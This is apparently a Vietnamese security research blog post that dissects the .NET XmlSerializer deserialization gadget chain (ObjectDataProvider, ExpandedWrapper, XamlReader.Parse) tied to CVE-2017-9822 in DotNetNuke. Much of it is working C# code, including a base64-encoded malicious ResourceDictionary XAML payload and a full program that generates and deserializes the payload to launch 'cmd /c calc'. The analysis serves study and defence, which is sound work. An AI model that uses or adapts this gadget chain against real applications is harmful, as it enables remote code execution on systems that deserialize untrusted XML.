Chain của chúng ta sẽ là: ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")
Nhìn có vẻ đơn giản nhưng sự thật thì không, cụ thể mình sẽ phân tích ở phần sau, còn bây giờ mình sẽ dùng đoạn code sau để demo
namespace xmlserializer_gadget
{
class Program
{
static void Main(string[] args)
{
var xmlDoc = new XmlDocument();
xmlDoc.Load(@"exploit.xml");
foreach (XmlElement xmlItem in xmlDoc.SelectNodes("/root"))
{
string typeName = xmlItem.GetAttribute("type");
Console.WriteLine(typeName);
var xser = new XmlSerializer(Type.GetType(typeName));
var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
xser.Deserialize(reader);
}
}
}
}
Kết quả:
Lưu ý khi exploit: có thể thấy nếu muốn exploit thành công gadget này thì ta cần phải kiểm soát được object type sẽ đi vào phần khai báo của XmlSerializer
Phân tích gadget ObjectDataProvider
ObjectDataProvider là gì?
Trước khi đi vào sâu phân tích, ta cần phải biết ObjectDataProvider là gì và nó đóng vai trò gì trong chain ?
Theo docs Microsoft thì ta có định nghĩa như sau:
Đọc thấy chung chung quá, cách hiệu quả nhất để hiểu là dùng thử nó. Mình có đoạn code sau
ObjectDataProvider o = new ObjectDataProvider();
o.ObjectInstance = new Process();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
Note: muốn dùng ObjectDataProvider ta cần namespace System.Windows.Data, mà namespace này sẽ nằm trong package PresentationFramework , do đó ta cần phải install package này trước khi thực thi code
Khi đoạn code trên thực thi, calc sẽ popup. Hay nói cách khác khi ObjectDataProvider instance được tạo thì nó sẽ tạo luôn instacne của Process và đồng thời cũng thực thi method Start với argument mà ta truyền vào.
Vậy thì hành vi này giúp ích gì trong quá trình exploit deser. Ta có thể thấy nếu payload chỉ cần tạo được instace của ObjectDataProvider thì ObjectDataProvider sẽ giúp ta gọi đến Process.Start(”cmd.exe”, “/c calc”), tức là ta không cần tìm cách gọi đến method Start để RCE mà chỉ cần gọi được ObjectDataProvider, thì RCE sẽ tự động được trigger
Các bạn có thể thấy được sự tương đồng của ObjectDataProvider với InvokerTransformer trong chain CC của Java. Nhưng đối với .net thì đây là key quan trọng trong chain
Sau khi hiểu được công dụng của ObjectDataProvider, ta thử áp dụng nó vào quá trình seri/deser của XmlSerializer với đoạn code sau
ObjectDataProvider o = new ObjectDataProvider();
o.ObjectInstance = new Process();
o.MethodParameters.Add("cmd.exe");
o.MethodParameters.Add("/c calc");
o.MethodName = "Start";
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
XmlSerializer xml = new XmlSerializer(typeof(Object));
xml.Serialize(writer, o);
Đoạn code trên khi thực thi sẽ quăng ra lỗi:
Theo mình tìm hiểu thì có thể lỗi này là do ObjectDataProvider mang trong mình thêm một object type khác là Process, mà giới hạn của XmlSerializer thì chỉ seri/deser được một type object do đó dẫn đến bị lỗi
Để khắc phục tình trạng này thì ta có thể dùng ExpandedWrapper để wrap exploit object lại
ExpandedWrapper
ExpandedWrapper là một class được sử dụng trong hệ thống internal của .net, mục đích ban đầu của nó không phải dành cho dev nên docs ghi khá chung chung và dễ confuse
Theo như mình tìm hiểu thì ExpandedWrapper cho phép "expand" thêm object type vào một object type khác, nghĩa là ExpandedWrapper sẽ tạo ra 1 wrapper mang bên trong 2 hoặc nhiều object type. Đây chính xác là thứ ta cần để bypass hành vi seri hạn chế của XmlSerializer
Ta sẽ có đoạn code sử dụng ExpandedWrapper đơn giản như sau:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace demo
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Ở đoạn code trên, khi khai báo ExpandedWrapper ta sẽ truyền vào tham số đầu tiên là Process và tham số thứ 2 là ObjectDataProvider. Nghĩa là object type được expand sẽ là ObjectDataProvider và object type sẽ expand vào ObjectDataProvider là Process. Nếu ta muốn thay đổi object type được gọi bởi ObjectDataProvider thì ta sẽ thay thế vào tham số đầu tiên.
Mình sẽ thử serialize object ExpandedWrapper với XmlSerializer với đoạn code sau
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<Process, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Start";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<Process, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);
Lúc này khi chạy code ta sẽ bị dính lỗi như sau:
Do đó cho dù ta đã tìm được cách bypass để seri được nhiều object type thì cũng không thể dùng Process để RCE được, nên ta phải tìm cách khác.
Khi nhìn vào payload của ysoserial ta sẽ thấy cách xử lý của ysoserial là cho ObjectDataProvider trong ExpandedWrapper gọi đến XAMLReader.Parse , rồi từ XAMLReader.Parse load một XML độc hại, mà XML độc hại đó khi được load sẽ tạo instance của ObjectDataProvider và trigger RCE. Đây là một cách rất hay để bypass, cùng mình tiếp tục phân tích
Dùng XAMLReader.Parse để trigger RCE
Đây là phần khiến mình mất rất nhiều thời gian để research và hiểu về nó, sau khi đọc rất nhiều blog và docs thì mình đúc kết được những gì mình hiểu sau đây.
Nói một chút về XAML, thì đây là loại markup language được tạo ra để sử dụng trong WPF (hiểu nôm na là framework code app bằng c# của .net) do đó nếu muốn thực thi được XAML ta phải có một project WPF chuẩn chỉ, hoặc đơn giản hơn ta có thể dùng XAMLReader.Parse để xử lý XAML.
Quay trở lại với chain, khi đọc thêm docs về ObjectDataProvider ta sẽ thấy dòng sau
Đại khái có nghĩa là trong XAML ta có thể sử dụng ObjectDataProvider để bind object, cho phép ta tạo instance và thực thi method của object như cách ObjectDataProvider được dùng trong code thông thường. Điều này có nghĩa là ta không cần phải seri ObjectDataProvider để trigger RCE nữa, mà chỉ cần đưa trực tiếp chuỗi XAML vào XAMLReader.Parse , thì ObjectDataProvider instace sẽ được tạo -> trigger RCE. Nhưng làm sao để sử dụng được ObjectDataProvider trong XAML ?
Để sử dụng ObjectDataProvider trong XAML ta sẽ khai báo nó như một element và thường nằm ở phần khai báo resources của XAML
Khái niệm resources trong xaml có nghĩa là những tài nguyên được khai báo và sử dụng nhiều lần (tương tự như biến) và ta có thể khai báo object trong resources bằng nhiều cách (dùng ObjectDataProvider là một trong số cách)
Note: mình không tìm được docs ghi rõ là liệu ObjectDataProvider chỉ dùng được trong phần khai báo resources hay không, nhưng từ khái niệm và cách sử dụng ta cũng có thể ngầm hiểu như vậy (?)
Ở đây ta để ý phần khai báo attribute của element windows:
xmlns và xmlns:x : mặc định có nên ta không cần quan tâm
xmlns:s="clr-namespace:System;assembly=mscorlib" : define prefix s trỏ đến “clr-namespace:System;assembly=mscorlib” tương tự như package System trong code C# thông thường, nghĩa là ở dưới khi ta dùng s:String là tương tự như System.String
xmlns:d="clr-namespace:System.Diagnostics;assembly=System" : define prefix d trỏ đến “clr-namespace:System.Diagnostics;assembly=System” tương tự như package System.Diagnostics, khi đó gọi d:Process sẽ tương tự như System.Diagnostics.Process
Khi này nếu ta thực thi XAML trên bằng XAMLReader.Parse thì calc sẽ popup.
Tuy nhiên còn một vấn đề nữa là đoạn XAML trên quá dài và bị phụ thuộc vào project, không hề portable. Để khiến payload có thể exploit được với mọi hệ thống ta phải tìm cách khai báo XAML làm sao cho chạy được trên mọi hệ thống thông qua XAMLReader.Parse
ResourceDictionary come to rescue
Khi đào sâu thêm vào các tính năng của XAML cung cấp thì ta biết được có thể khai báo resources vào riêng một file và sử dụng được khắp nơi trong project tính năng này gọi là Resource Dictionaries, từ đó mang đến khả năng flexible cho XAML → ta có thể lợi dụng
Thay vì dùng Window.Resources thì ta sẽ dùng ResourceDictionary để khai báo ObjectDataProvider như sau:
Khi này resource đã hoàn toàn độc lập và có thể dùng được ở mọi nơi
Mình có đoạn code sau để demo:
namespace xmlserializer_gadget
{
class Program
{
static void Main(string[] args)
{
// base64 payload
string p =
"PFJlc291cmNlRGljdGlvbmFyeSANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgICAgICAgICAgICAgICAgIHhtbG5zOmQ9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIiANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIA0KICAgICAgICAgICAgICAgICAgICB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxiOlN0cmluZz5jbWQ8L2I6U3RyaW5nPg0KICAgICAgICAgICAgPGI6U3RyaW5nPi9jIGNhbGM8L2I6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+";
byte[] vs = Convert.FromBase64String(p);
string xml = Encoding.UTF8.GetString(vs);
XmlDeserialize(xml);
}
public static void XmlDeserialize(string o)
{
XamlReader.Parse(o);
}
}
}
Kết quả khi thực thi
Cách trên là ta sẽ khai báo ObjectDataProvider trong phần resources để được tự động tạo, hoặc ta cũng có một cách khai báo khác là tự động tạo instance của ObjectDataProvider bằng property ObjectInstance, nghĩa là thay vì khởi tạo gián tiếp qua ResourceDictionary, thì ta sẽ khởi tạo trực tiêp trong ObjectDataProvider (cách này khi nghiên cứu các chain khác thì mình thấy)
Tổng hợp tất cả các ý trên, mình có một đoạn code sau để generate xml payload và deser xml payload
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Data;
using System.Xml.Serialization;
using System.Data.Services.Internal;
using System.Windows.Markup;
namespace xmlserializer_gadget
{
class Program
{
static void Main(string[] args)
{
// Prepare payload
string p =
"PFJlc291cmNlRGljdGlvbmFyeSANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgDQogICAgICAgICAgICAgICAgICAgIHhtbG5zOmQ9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIiANCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIA0KICAgICAgICAgICAgICAgICAgICB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iPg0KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxiOlN0cmluZz5jbWQ8L2I6U3RyaW5nPg0KICAgICAgICAgICAgPGI6U3RyaW5nPi9jIGNhbGM8L2I6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+";
byte[] vs = Convert.FromBase64String(p);
string payload_xml = Encoding.UTF8.GetString(vs);
// Prepare to serialize
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Parse";
expandedWrapper.ProjectedProperty0.MethodParameters.Add(payload_xml);
expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader(); // Decalre XamlReader.Parse to load payload and trigger RCE
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
// Serialize
xml.Serialize(writer, expandedWrapper);
string result = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.WriteLine(result);
// Deserialize
memoryStream.Position = 0;
xml.Deserialize(memoryStream);
Console.ReadKey();
}
}
}
Khi thực thi ta sẽ có được xml payload như sau
Payload này là gần tương tự như payload được gen bởi ysoserial, và khi xml string được deser calc sẽ pop up.
Tóm tắt
Như vậy ta đã hiểu đầy đủ những tính năng và cơ chế cấu thành nên chain ObjectDataProvider sử dụng trong XmlSerializer. XmlSerializer khi deser sẽ gọi đến XamlReader.Parse, hàm này sẽ Parse malicious XAML để tạo instance của ObjectDataProvider, khi ObjectDataProvider khởi tạo nó sẽ tự động invoke Process.Start → RCE
Điều kiện để chain này hoạt động là:
Target có dùng package PresentationFramework
Ta có thể kiểm soát được object type khi khởi tạo XmlSerializer constructor
Malicous xml sẽ rơi vào XmlSerializer.Deserialize()
Tuy điều kiện exploit chain này khá ngặt nghèo nhưng nó lại cung cấp những khái niệm cơ bản để ta có thể tìm hiểu các chain sau này
Một lưu ý nho nhỏ là XmlSerializer có một giới hạn, nó không thể seri những property read-only, tức là những property private hoặc public property mà không có setter đều sẽ được coi là read-only nên nó không thể seri và quăng lỗi (nguồn: )
Đoạn code demo trên được tham khảo từ và đó cũng là tái hiện lại sink của CVE-2017-9822 DotNetNuke
Cụ thể quá trình ObjectDataProvider có thể tham khảo ở đây:
Nguyên nhân của lỗi này là do object Process không thể serialize thành XML do nó có kế thừa System.ComponentModel.Component mà class này có filed site là một interface. Interface thì không thể serialize thành XML được nên quăng ra lỗi (nguồn phút 24:34)